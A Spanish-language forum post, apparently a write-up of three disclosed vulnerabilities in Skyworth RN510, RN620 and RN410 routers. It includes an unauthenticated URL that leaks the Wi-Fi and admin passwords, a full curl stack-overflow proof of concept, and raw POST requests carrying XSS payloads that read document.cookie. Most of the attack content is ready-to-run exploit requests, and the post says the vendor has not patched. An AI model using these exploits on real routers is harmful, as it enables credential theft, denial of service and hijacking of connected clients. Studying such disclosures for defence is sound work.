Brechas de seguridad en Skyworth RN510, RN620 y RN410

[h]¿Skyworth o skyworst?[/h]
https://media.giphy.com/media/1b2sQSPD974E8/giphy.gif
https://www.wifi-libre.com/img/members/3/RN510.jpg
Veamos a estas tres brechas de seguridad importantes desveladas por Kaustubh G. Padwad
Afectan a routers modernos de doble banda:
[list=1]
]RN510 (ac 2100)/]
]RN620 (¡wifi 6!)/]
]RN410 (ac1200)/]
[/list]
[h]Brecha 1: Filtración de credenciales[/h]
Se pueden obtener los credenciales de la red wifi y de acceso administrador a la interfaz de configuración con una simple llamada a la página adecuada (sin estar autentificado):

http://192.168.2.1/cgi-bin/test_version.asp

Podéis ver a continuación lo que se obtiene:

2.4G SSID: SKYW_MESH_750 2.4G password: 12345678 5G SSID: SKYW_MESH_750 5G password: 12345678 username: admin web_passwd: kaustubh
Una magnifica ficha con todos los credenciales listos para uso :smiley:
ver: [list=]
]Shenzhen Skyworth RN510 Information Disclosure by ** Kaustubh G. Padwad* @ Packetstorm security/
]
[/list]
[h]Brecha 2: Desbordamiento de pila[/h]
Podemos dejar el dispositivo fuera de servicio o ejecutar comandos arbitrarios inyectando cadenas basuras largas en la dirección que va a la página **/cgi-bin/app-staticIP.asp, **
Podéis ver a continuación un ejemplo de exploit:

curl -i -s -k -X $'POST' \ -H $'Host: device_IP' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://device-ip/cgi-bin/app-staticIP.asp' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 500' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \ -b $'SESSIONID=valid_cookie; UID=username; PSW=password' \ --data-binary $'hEntry0=-1&hEntry1=-1&hEntry2=-1&hEntry3=-1&hEntry4=-1&hEntry5=-1&hEntry6=-1&hEntry7=-1&hEntry8=-1&delete_flag=0&add_flag=1&staticNum=0&emptyEntry=0&tmpStartIp=192.168.2.33&tmpPoolCount=32&dhcpEthStart=192.168.2.33&dhcpEthEnd=32&ethSubnetMask=255.255.255.0&IpAddr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&MACAddr=AA%3ABB%3ACC%3ADD%3AEE%3AFF' \ $'http://device_ip/cgi-bin/app-staticIP.asp'
[list=*]
]Authenticated Stack Overflow in RN510 mesh Device by Kaustubh G. Padwad @ s3curityb3ast.github.io/]
[/list]
[h]Brecha 3: Ejecución arbitraria de código javascript malicioso[/h]
Es otra vez un problema que viene de la falta de comprobación de las cadenas entradas en la parte dirección IP de /cgi-bin/net-routeadd.asp en nuestras llamadas
Los elementos incriminados son ** /cgi-bin/net-routeadd.asp** y /cgi-bin/sec-urlfilter.asp
Podemos hacer un ataque de falsificación de solicitud (XSRF) y ejecutar un script javascript malicioso
muestras de la vulnerabilidad:

[code]Sample request -1

Request

by Kaustubh G. Padwad @ s3curityb3ast.github.io
POST /cgi-bin/net-routeadd.asp HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.1/cgi-bin/net-routeadd.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 235
Connection: close
Cookie: UID=admin; PSW=admin;
SESSIONID=boasid7a108566d118e9b5bd235b1412cb770c
Upgrade-Insecure-Requests: 1by Kaustubh G. Padwad @ s3curityb3ast.github.io

add_num=0&user_def_num=0&WanInterfaceFlag=br0&metricFlag=0&gwflag=Yes&ifflag=Yes&DestIPAddress=<script
?>alert(document.cookie)&DestSubnetMask=255.255.255.255&gwStr=on&GatewayIPAddress=192.168.1.1&ifStr=on&Interface=br0&SaveFlag=1

Sample Request-2

POST /cgi-bin/sec-urlfilter.asp HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.1/cgi-bin/sec-urlfilter.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 162
Connection: close
Cookie: UID=admin; PSW=admin;
SESSIONID=boasid7a108566d118e9b5bd235b1412cb770c
Upgrade-Insecure-Requests: 1

Save_Flag=1&Actionflag=Add&EnableUrlFilterFlag=1&delnum=&add_num=1&Url_num=1&enableFilter=on&FilterPolicy=0&urlitem=%3C%2Fscript%3E%3Csvg+onload%3Dalert%281%29%3E
[/code]
Esta brecha es *a priori menos grave ya que el usuario ha de estar autenticado.
Dicho esto es tan fácil obtener los credenciales que un atacante puede convertir muy fácilmente uno de estos PA en una trampa mortal para hackear a todos los clientes que se conectan.
[list=
]
]Shenzhen Skyworth RN510 Cross Site Request Forgery / Cross Site Scripting by Kaustubh G. Padwad @ s3curityb3ast.github.io/]
[/list]

El hacker ha contactado a skyworth en enero de este año y ellos no han reaccionado (ni han publicado parches correctivos).
Estos modelos de última generación son altamente inseguros. ¿Qué será de los más antiguos? Probablemente igual… o peor.
¿Skyworth? ¡Más bien Skyworst! :stuck_out_tongue: